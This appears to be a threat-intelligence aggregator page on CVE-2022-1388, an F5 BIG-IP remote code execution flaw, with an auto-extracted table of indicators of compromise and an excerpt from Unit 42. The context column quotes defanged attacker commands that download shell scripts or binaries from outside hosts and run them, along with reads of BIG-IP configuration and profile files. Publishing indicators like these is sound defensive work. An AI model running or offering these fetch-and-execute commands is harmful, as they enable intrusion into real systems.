Threat Brief: CVE-2022
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2022-1388 | Unauthenticated RCE in F5 BIG-IP via Missing Authentication | 9.8 | 100% | KEVRansomwarePoC ×4 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | transfer.sh | ocal/www -name *.php | xargs grep eval 3 curl -fsLk hxxps://transfer[.]sh/dlxo3I/1.sh | sh 1 wget hxxp://20.187.86[.]47/dadda;chmod |
| ipv4 | 116.48.110.159 | ource IPv4 20.187.67[.]224 192.132.218[.]149 85.203.23[.]73 116.48.110[.]159 Hosting URLs hxxps://transfer[.]sh/dlxo3I/1.sh hxxp://20. |
| ipv4 | 192.132.218.149 | 64820a50da4d59926f829b96cf82a6c Source IPv4 20.187.67[.]224 192.132.218[.]149 85.203.23[.]73 116.48.110[.]159 Hosting URLs hxxps://tran |
| ipv4 | 20.187.67.224 | 46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c Source IPv4 20.187.67[.]224 192.132.218[.]149 85.203.23[.]73 116.48.110[.]159 Hosting |
| ipv4 | 20.187.86.47 | -fsLk hxxps://transfer[.]sh/dlxo3I/1.sh | sh 1 wget hxxp://20.187.86[.]47/dadda;chmod 777 *;./dadda 1 curl -o- -L hxxp://20.239.193 |
| ipv4 | 20.239.193.47 | config/bigip.conf 24 cat /etc/profile 19 curl -o- -L hxxp://20.239.193[.]47/kele.sh| sh > /dev/null 2>&1 & 13 whoami 11 find /usr/loc |
| ipv4 | 85.203.23.73 | 829b96cf82a6c Source IPv4 20.187.67[.]224 192.132.218[.]149 85.203.23[.]73 116.48.110[.]159 Hosting URLs hxxps://transfer[.]sh/dlxo3 |
| sha256 | 1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7 | 4c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c 1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7 9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1 |
| sha256 | 30f7e1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20 | ploit CVE-2022-1388 Indicators of Compromise Payload SHA256 30f7e1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20 da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d |
| sha256 | 53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c | ab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5 53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c Source IPv4 20.187.67[.]224 192.132.218[.]149 85.203.23[.]7 |
| sha256 | 9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5 | 6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7 9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5 53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf |
| sha256 | ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c | a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c 1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000 |
| sha256 | b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d | 646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c |
| sha256 | da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb | 1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20 da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c |
| url | http://20.187.86.47/dadda | hxxp://20.239.193[.]47/kele.sh hxxp://20.239.193[.]47/kele1 hxxp://20.187.86[.]47/dadda Updated May 16, 2022 |
| url | http://20.187.86.47/dadda;chmod | 3 curl -fsLk hxxps://transfer[.]sh/dlxo3I/1.sh | sh 1 wget hxxp://20.187.86[.]47/dadda;chmod 777 *;./dadda 1 curl -o- -L hxxp://20.239.193[.]47/kele1| |
| url | http://20.239.193.47/kele1 | ://transfer[.]sh/dlxo3I/1.sh hxxp://20.239.193[.]47/kele.sh hxxp://20.239.193[.]47/kele1 hxxp://20.187.86[.]47/dadda Updated May 16, 2022 |
| url | http://20.239.193.47/kele1|sh | xp://20.187.86[.]47/dadda;chmod 777 *;./dadda 1 curl -o- -L hxxp://20.239.193[.]47/kele1|sh Table 1. Commands observed in CVE-2022-1388 exploitation |
| url | http://20.239.193.47/kele.sh | 48.110[.]159 Hosting URLs hxxps://transfer[.]sh/dlxo3I/1.sh hxxp://20.239.193[.]47/kele.sh hxxp://20.239.193[.]47/kele1 hxxp://20.187.86[.]47/dadda |
| url | http://20.239.193.47/kele.sh| | 5 cat /config/bigip.conf 24 cat /etc/profile 19 curl -o- -L hxxp://20.239.193[.]47/kele.sh| sh > /dev/null 2>&1 & 13 whoami 11 find /usr/local/www -n |
| url | https://transfer.sh/dlxo3I/1.sh | d /usr/local/www -name *.php | xargs grep eval 3 curl -fsLk hxxps://transfer[.]sh/dlxo3I/1.sh | sh 1 wget hxxp://20.187.86[.]47/dadda;chmod 777 *;./dad |
From the original article
2 min read at unit42.paloaltonetworks.com
On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388 . Threat actors can exploit this vulnerability to bypass authentication and run arbitrary code on unpatched systems. This is a critical vulnerability that needs immediate attention, as it was given a 9.
By Unit 42 · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.